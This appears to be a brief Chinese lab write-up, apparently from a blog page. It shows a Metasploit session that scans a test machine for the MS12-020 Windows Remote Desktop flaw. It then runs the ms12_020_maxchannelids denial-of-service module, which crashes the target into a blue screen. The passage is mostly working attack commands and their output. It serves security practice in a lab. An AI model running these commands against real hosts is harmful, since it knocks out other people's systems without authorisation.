msf6 auxiliary(scanner/rdp/ms12_020_check) > set rhosts 192.168.239.135 #指定靶机地址
rhosts => 192.168.239.135
msf6 auxiliary(scanner/rdp/ms12_020_check) > run

[+] 192.168.239.135:3389  - 192.168.239.135:3389 - The target is vulnerable.
[*] 192.168.239.135:3389  - Scanned 1 of 1 hosts (100% complete)
[*] Auxiliary module execution completed

#发现存在漏洞
#使用攻击模块进行攻击
msf6 auxiliary(scanner/rdp/ms12_020_check) > use 1
msf6 auxiliary(dos/windows/rdp/ms12_020_maxchannelids) > set rhosts 192.168.239.135
rhosts => 192.168.239.135
msf6 auxiliary(dos/windows/rdp/ms12_020_maxchannelids) > run 
[*] Running module against 192.168.239.135

[*] 192.168.239.135:3389 - 192.168.239.135:3389 - Sending MS12-020 Microsoft Remote Desktop Use-After-Free DoS
[*] 192.168.239.135:3389 - 192.168.239.135:3389 - 210 bytes sent
[*] 192.168.239.135:3389 - 192.168.239.135:3389 - Checking RDP status...
[+] 192.168.239.135:3389 - 192.168.239.135:3389 seems down
[*] Auxiliary module execution completed

1656913187717

直接蓝屏,重启

留下评论